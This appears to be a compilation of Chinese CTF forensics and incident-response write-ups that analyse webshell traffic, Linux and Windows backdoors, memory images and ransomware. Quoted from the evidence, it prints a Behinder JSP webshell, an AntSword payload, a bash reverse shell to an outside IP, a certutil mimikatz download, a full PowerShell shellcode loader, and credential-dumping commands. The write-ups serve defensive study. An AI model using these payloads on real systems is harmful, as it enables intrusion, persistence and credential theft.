String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
// 将密钥存入 Session 变量 "u"
session.putValue("u", k);
// 将密钥返回给客户端,供后续 AES 加密使用
out.print(k);
return; // 结束请求
}
// 初始化 AES 解密对象
Cipher c = Cipher.getInstance("AES");
// 获取存储在 Session 中的密钥,并创建 AES 密钥对象
c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
// 读取请求体内容(假设是 Base64 编码的 AES 加密数据),并进行解密
byte[] decryptedData = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
// 使用自定义类加载器 U 加载解密后的 Java 字节码
Class<?> loadedClass = new U(this.getClass().getClassLoader()).g(decryptedData);
// 通过反射创建实例,并调用 equals() 方法
loadedClass.newInstance().equals(pageContext);
%>
1. 生成 AES 密钥
bing_pass参数:
session["u"],用作加密/解密密钥。2. 远程代码执行
U 类加载器动态加载字节码,并执行 equals() 方法(可能包含恶意代码)。关卡描述:黑客通过webshell执行的第一条命令是什么?
继续分析与木马相关流量:
http.request.uri contains "s74e7vwmzs21d5x6.jsp"

前两条是向服务端传输AES密钥的流量,下面的才是执行的第一条命令:

使用蓝队分析工具对冰蝎马进行解密(项目地址:abc123info/BlueTeamTools: 蓝队分析研判工具箱,功能包括内存马反编译分析、各种代码格式化、网空资产测绘功能、溯源辅助、解密冰蝎流量、解密哥斯拉流量、解密Shiro/CAS/Log4j2的攻击payload、IP/端口连接分析、各种编码/解码功能、蓝队分析常用网址、java反序列化数据包分析、Java类名搜索、Fofa搜索、Hunter搜索等。):

可以发现第一条命令为pwd
关卡描述:黑客获取webshell时查询当前shell的权限是什么?
继续分析流量,找到执行whoami请求流量:

将返回流量进行解密:

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?
继续分析流量:

返回包:

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

可以发现秘密文件为secret.file,对相关请求流量进行分析:

关卡描述:黑客通过反连执行的第一条命令是什么?
寻找反弹shell建立后的流量:

追踪TCP流:

不知道为什么答案是第二条命令cat /etc/passwd
关卡描述:黑客通过什么文件修改的root密码(绝对路径)

关卡描述:黑客设置的root密码是多少?
使用hashcat进行爆破解密(将密码hash值存入1.txt中):
hashcat -m 1800 -a 0 -o cracked.txt 1.txt rockyou.txt

或者用john:
john --wordlist=rockyou.txt 1.txt

关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)
由关卡11分析可知黑客的监听IP和端口为202.1.1.129:4444,但并不是留下后门的反连ip和port
端点分析,过滤202.1.1.129IP进行分析:

可以发现反连端口为9999
或者
参考文章:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog、第一届长城杯铁人三项赛-决赛 | Y0ung's Blog
观察Linux 系统日志(/var/log/cron 或 /var/log/messages):

或定时任务crontab -e:

关卡描述:黑客通过后门反连执行的第一条命令是什么?

在 RPM(Red Hat Package Manager) 维护的已安装软件包中 查找包含 "pam" 的软件包
pam(Pluggable Authentication Modules):Linux 可插拔认证模块,控制身份验证。
原文地址:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog
关卡描述:黑客通过什么文件留下了后门?
根据上一题的命令去搜索pam相关文件
找到/usr/lib/security/pam_unix.so和/usr/lib64/security/pam_unix.so
存在后门

关卡描述:黑客设置的后门密码是什么?
继续往下走,直接看到密码

关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)
继续向下

在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
随便翻翻一篇红色和灰色,这是nmap正在扫描端口发送的TCP握手请求:

找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}
使用以下过滤语句查看nmap扫描开放端口:
tcp.flags.reset ==1 && tcp.flags.ack == 0

22是ssh服务,查看8080端口传输的流量并搜索关键词:

经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}
追踪流分析:

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}
分析追踪流,发现已成功获取反弹shell的流量:

往前分析,发现前面的http请求中有Authorization请求头用于携带身份验证凭据:


攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}
由上题分析,反弹shell前的流量极有可能是恶意文件
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息
根据上上题的分析,可以看出反弹shell命令中有持久化反弹shell的命令
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
木马的连接密码是多少
答案格式:flag{密码}
分析http流:


标准蚁剑生成的马,利用的密码参数1就在开头
黑客执行的第一个命令是什么

第一条回显的是2c3f5uid=33(www-data) gid=33(www-data) groups=33(www-data)
可以推测第一条指令是id


一些 WebShell 工具(如蚁剑)在传输数据时,可能会包含额外的头部信息,比如控制字符、分隔符或者其他标识符。蚁剑会在编码前加两位随机生成的字符,因此开始位置为2.
黑客读取了哪个文件的内容,提交文件绝对路径


黑客上传了什么文件到服务器,提交文件名


黑客上传的文件内容是什么
将流量传输内容进行美化:

1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) ;
$tmdir = $item."/.368479785";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\|//", $tmdir);
for($i = 0;
$i < sizeof($cntarr);
$i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out) {
return $out;
};
function asoutput()
ob_start();
try {
$f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
$c = $_POST["ld807e7193493d"];
$c = str_replace("
", "", $c);
$c = str_replace("
", "", $c);
$buf = "";
for($i = 0;
$i < strlen($c);
$i += 2)$buf .= urldecode("%".substr($c, $i, 2));
echo(@fwrite(fopen($f, "a"), $buf)?"1":"0");;
} catch(Exception $e) ;
asoutput();
die();
&ld807e7193493d = 666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04 = 0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==
最后一段就是上传文件的内容,进行解码:

黑客下载了哪个文件,提交文件绝对路径

挂载/解压密码: KzXGabLkDjs&j@3a&fAayNmD
参考文章:【官方WP】第一届solar杯·应急响应挑战赛官方题解
题目文件:tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击:黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
GeoServer 是一个 开源 的 地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。
进行流量分析,发现木马b.jsp:

在给出的网站根目录中也能找到这个木马文件:

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。
这个过程是动态的,
<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/找到b_jsp.class可以发现是哥斯拉自动生成的webshell木马:

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
xc:AES 加密密钥(16 字节)
在整个 b.jsp 文件中,code 变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。
进行解码:

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。flag格式 flag{xxxx}
对流量进行过滤分析:
http.request.full_uri contains "b.jsp"

根据得到的密钥使用蓝队工具进行解密:

找到读取flag.txt的流量:

对返回包进行解密:

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。使用流量解密工具进行解密流量并删除无用部分后另存为pdf。

可以发现上传的PDF文件,我们对其进行导出即可得到flag:

(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)

用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:

请找到攻击者创建隐藏账户的时间flag格式 如 flag{2024/01/01 00:00:00}
检材:mssql.7z
上取证大师分析虚拟磁盘:

或者仿真虚拟机后(绕过登录密码)分析安全日志,重点分析4720事件:

为了获取密码,也可以:
找到对应的SAM文件及SYSTEM文件后(WindowsSystem32configSAM、WindowsSystem32configSYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示
privilege::debug
lsadump::sam/sam:SAM/system:SYSTEM

提取出来的登陆密码a29f7623fd11550def0192de9246f46b如下所示,我们解密即可

参考文章:2024第一届Solar杯应急响应挑战赛wp_solar应急响应wp-CSDN博客
请找到恶意文件的名称 flag格式 如 flag{.}
打开任务管理器对进程进行分析:


官方WP是用安全软件自动检测……
那么可以用包含本地病毒库的杀毒软件(如360、火绒等)进行分析(全盘扫描非常耗时……)

在相关目录中找到该软件……
请找到恶意文件的外联地址 flag格式 如 flag{1.1.1.1}
在恶意文件的配置config.json文件中可以看到外联的url为“sierting.com”:

dns解析得到外联地址IP

或者用火绒剑在网络选项中进行分析……
请修复数据库flag格式 如 flag{xxxxx}
仿真系统桌面上能看到这些:

主机感染了勒索病毒,由于加密程序可能只对文件部分内容进行篡改,则可能在数据库文件恢复到部分数据。通过分析数据库的本地文件在C:Program FilesMicrosoft SQL ServerMSSQL13.MSSQLSERVERMSSQLDATA中:

数据库都被勒索软件修改并添加上了.X3rmENR07后缀,首先将后缀删除
import os
def remove_last_extension(folder_path):
for filename in os.listdir(folder_path):
file_path = os.path.join(folder_path, filename)
if os.path.isfile(file_path): # 确保是文件而不是文件夹
new_name = '.'.join(filename.split('.')[:-1]) # 去掉最后一个后缀
if new_name: # 避免空文件名
new_path = os.path.join(folder_path, new_name)
os.rename(file_path, new_path)
print(f'Renamed: {filename} -> {new_name}')
if __name__ == "__main__":
folder = input("请输入要处理的文件夹路径: ").strip()
if os.path.isdir(folder):
remove_last_extension(folder)
else:
print("无效的文件夹路径!")
这里使用数据库修复工具D-Recovery SQL Server对数据库进行修复(以下为官方WP):

选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件


(DIDCTF貌似缺少【非题目】题mssql-备份数据库(可能会用到),因此做不出来)
另一个思路(原文地址:解答思路 | 2024第一届Solar杯应急响应挑战赛-CSDN博客)直接搜索关键词:
在tempdb_mssql_3.ndf.X3rmENR07发现flag。

搜索关键字:66 00 6C 00
请提交powershell命令中恶意文件的MD5 flag格式 如 flag{xxxxx}
打开事件查看器,分析powershell日志,发现可疑执行日志:

事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。
事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。
powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
ReadToEnd():读取并执行解压后的数据内容。
解码发现内容是Gzip编码的数据流

进行解码:

function tWk {
Param ($k0M, $ybp)
# 获取 System.dll(用于访问 Win32 API)
$f2w = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).
GetType('Microsoft.Win32.UnsafeNativeMethods')
# 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
(New-Object IntPtr),
($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
))), $ybp))
}
function lVhI5 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, # 参数类型数组
[Parameter(Position = 1)] [Type] $nZWM = [Void] # 返回值类型,默认为 Void
)
# 创建动态程序集、模块和类(用于创建委托类型)
$p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
# 定义构造函数
$p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
SetImplementationFlags('Runtime, Managed')
# 定义方法
$p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
SetImplementationFlags('Runtime, Managed')
return $p8dl.CreateType()
}
# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualAlloc),
(lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)
# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualProtect),
(lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
# 创建新线程(CreateThread),执行 shellcode
$yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll CreateThread),
(lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)
# 等待线程执行完成(WaitForSingleObject)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll WaitForSingleObject),
(lVhI5 @([IntPtr], [Int32]))).
Invoke($yfm6I, 0xffffffff) | Out-Null
}
恶意文件即为shellcode解码后的内容,我们解码后计算MD5即可:

题目文件:SERVER-2008-20241220-162057 请找到rdp连接的跳板地址 flag格式 flag{1.1.1.1}
使用volatility加载内存镜像,分析其网络连接状况:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan

可以发现192.168.60.150的3389端口(远程桌面)连接到了192.168.60.220:34121(svchost.exe 是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)
攻击者下载黑客工具的IP地址 flag格式 flag{1.1.1.1}
查看历史命令是否存在:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan

可以发现执行过命令:
certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:WindowsTempmi.exe
certutil-urlcache-split-fhttp://155.94.204.67:85/mimikatz.exemimikatz.exeC:WindowsTempmi.exe黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么 flag格式 flag{xxxx}
根据上一题的命令分析可以发现存在pass.txt文件,我们进行文件分析:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan

将其dump导出:
volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0

攻击者创建的用户 flag格式 flag{xxxx}
搜索并导出Security.evtx安全日志文件进行分析(搜索创建用户事件ID4720):

攻击者利用跳板rdp登录的时间 flag格式 flag{2024/01/01 00:00:00}
继续在安全日志中分析该用户登录成功事件(ID4624):

攻击者创建用户的密码哈希值 flag格式 flag{XXXX}
分析密码哈希转储:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump

题目文件:【题目】加密器逆向请逆向该加密器,解密机密文件flag格式 flag{XXXX}
莫得文件就先跳过了。
官方WP():
在createfileW处下断点,

断住之后发现输入的参数为一个文件路径
跟踪发现这里使用随机数生成了六位密钥

将生成的密钥%10,即生成0-9的密钥

明显的rc4特征,rc4密钥初始化

交换数组位置,这里就是利用key生成s盒,相当于
for i in 0..256 {
j = (j + s[i] + key[i % key.len()] ) % 256;
s.swap(i, j);
}

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

生成字符串

如下

再次生成字符串

如下

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。


创建文件


写入文件

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果
import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor
def rc4(key, data):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)
return result
def is_printable(data):
try:
return all(32 <= byte <= 126 for byte in data)
except TypeError:
return False
ciphertext = []#加密后的数据
def run(key_tuple ):
key = list(key_tuple)
decrypted_data = rc4(key, ciphertext)
# 判断是否解密后的数据是可打印的
if is_printable(decrypted_data):
decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
if 'flag' in decrypted_string:
print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
executor.map(run, itertools.product(range(0, 10), repeat=6))

其中加密后缀为一个假的flag,但是可以解出结果

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。 
参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客、《数字取证实验》
WinHex 的主要功能:
X-Ways Forensics 与 WinHex 是包含关系。
X-Ways Forensics常规配置如下:

查看其容器:


检材1:根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题
MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c

查看用户登录登出信息的源文件地址:
/var/log/wtmp

将其提取出来
who 命令可以直接读取 wtmp 文件并展示其中用户登录历史:
who wtmp

操作系统发行版本号源文件地址:
/etc/*-release
在案件根目录下X-Ways文件名过滤*-release:

网卡配置文件路径:
/etc/sysconfig/network-scripts/ifcfg-ens

或者在案件根目录搜索fcfg(ifcfg中的i可能会被截断)

/var/www/html
/web/app


过滤文件名称:*.jar

jar包都在/web/app/路径中
原文:2022长安杯 - XDforensics-Wiki
思路一:
将jar包全部导出后, 使用Java Decompiler查看application.properties文件逐个分析, 查看是哪个jar包使用了7000端口, 在cloud.jar中发现使用7000端口。
配置文件路径为 BOOT-INFclassesapplication.properties
(Spring Boot 启动时,会自动读取 application.properties)

思路二:直接启动网站, 查看占用端口情况, 但是较难, 因为嫌疑人删除了启动脚本, 在做检材2时, D盘中会有该网站的启动脚本, 将检材2中的脚本复制到检材1中, 启动网站即可。

启动脚本start_web.sh内容:
sleep 20s
echo "Starting App:admin"
nohup java -jar /web/app/admin-api.jar &
sleep 20s
echo "Starting App:ucenter"
nohup java -jar /web/app/ucenter-api.jar &
sleep 20s
echo "Starting WEB:WEB"
cd /web/app/web/
nohup npm run dev &
cd /web/app
echo "Starting WEB:admin"
cd /web/app/admin/
nohup npm run dev &
cd /web/app
echo "Finish" kill
启动脚本start.sh内容:
sleep 2s
echo "Starting Zookeeper"
nohup /data/install/apache/zookeeper-3.4.10/bin/zkServer.sh start &
sleep 2s
echo "Starting Kafka"
nohup /data/install/apache/kafka_2.12-1.0.1/bin/zookeeper-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/zookeeper.properties &
sleep 5s
nohup /data/install/apache/kafka_2.12-1.0.1/bin/kafka-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/server.properties &
echo "Finish" kill
通过看历史命令, 可以看到有很多关于 vue 文件的操作, find 命令搜一下 vue 文件, 可以看到都在 /web/app 这个目录下, 由此可以初步断定该网站使用了 vue 框架, 而简单搜索一下历史命令中的另一条 npm run dev 命令, 就能知道它是用来启动 vue 项目的, 同样我们可以得知 npm run 命令实际上是用来执行配置在 package.json 文件中的脚本的, 在历史命令的 50 条左右, 可以看到有对 web.tar 包的操作, 在解压 tar 包后就在该目录下执行了 npm install 和 npm run dev 命令

在那就解压web.tar再在其目录下再执行:npm install和npm run dev可以成功构造网页
npm:Node Package Manager(Node.js 的包管理工具)run:执行 package.json 文件中 scripts 部分定义的命令dev:用户自定义的脚本名称,通常用于开发环境即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令。
(.vue 文件是 Vue.js 框架中的单文件组件(Single-File Component,SFC),用于构建 Vue 应用的 UI 组件。它通常包含 HTML、CSS 和 JavaScript,用于封装 Vue 组件的结构、样式和逻辑。)
再查看端口情况:

你会发现还是没有7000出现,因此将所有jar包运行并查看端口情况:
nohup java -jar /web/app/cloud.jar
发现此时7000端口开启
方法1: 与检材2进行联合分析, 在检材2的 Google Chrome 历史记录中:
Users/XXX/AppData/Local/Google/Chrome/User Data/Default/History
可以看到后台管理对应 9090 端口, 且访问地址对应检材1的静态 IP

方法2: 在日志.bash_history里可以看到, 嫌疑人在/web/app/admin/文件里执行了npm run dev

npm:Node Package Manager(Node.js 的包管理工具)run:执行 package.json 文件中 scripts 部分定义的命令dev:用户自定义的脚本名称,通常用于开发环境即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令
检查package.json:
{
"name": "ztuo_admins",
"version": "1.2.3",
"description": "a management bases on iview",
"main": "main.js",
"scripts": {
"init": "webpack --progress --config build/webpack.dev.config.js",
"dev": "webpack-dev-server --content-base ./ --open --inline --hot --compress --config build/webpack.dev.config.js",
"build": "webpack --progress --hide-modules --config build/webpack.prod.config.js"
},
"repository": {
"type": "git",
"url": "https://github.com/iview/iview-admin.git"
},
"author": "Lison<zhigang.li@tendcloud.com>",
"license": "MIT",
"dependencies": ,
"devDependencies":
}
这里使用build/webpack.dev.config.js作为配置文件, 再看看这个文件可找到监听端口为9090:
const webpack = require('webpack');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const ExtractTextPlugin = require('extract-text-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const merge = require('webpack-merge');
const webpackBaseConfig = require('./webpack.base.config.js');
const fs = require('fs');
const package = require('../package.json');
const ip = require('ip').address()
// fs.open('./build/env.js', 'w', function(err, fd) {
// const buf = 'export default "development";';
// fs.write(fd, buf, 0, buf.length, 0, function(err, written, buffer) {});
// });
module.exports = merge(webpackBaseConfig, {
devtool: '#source-map',
devServer: {
port: 9090,
host: "0.0.0.0"
},
output: {
publicPath: '/dist/',
filename: '[name].js',
chunkFilename: '[name].chunk.js'
},
plugins: [
new ExtractTextPlugin({
filename: '[name].css',
allChunks: true
}),
new webpack.optimize.CommonsChunkPlugin({
name: ['vender-exten', 'vender-base'],
minChunks: Infinity
}),
new HtmlWebpackPlugin({
title: '后台管理',
filename: '../index.html',
template: './src/template/index.ejs',
favicon: './favicon.ico',
inject: false
}),
new CopyWebpackPlugin([{
from: 'src/views/main-components/theme-switch/theme'
}, ], {
ignore: [
//'text-editor.vue'
]
})
]
});
思路一:由题6可构造出网页:发现apk下载地址,扫描二维码即可

思路二:查看源码, 判定网站前端使用vue搭建, 在/web/app/web/src/app.vue中可以搜索关键词app、二维码也可以找到:

参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客
重构网站对此题帮助不大,优先选择查看jar包是否包含所需内容,由于题目中已给出用户表表名为admin,可以选择优先查看admin-api.jar。使用jd-gui查看admin-api.jar。

由上题分析可知
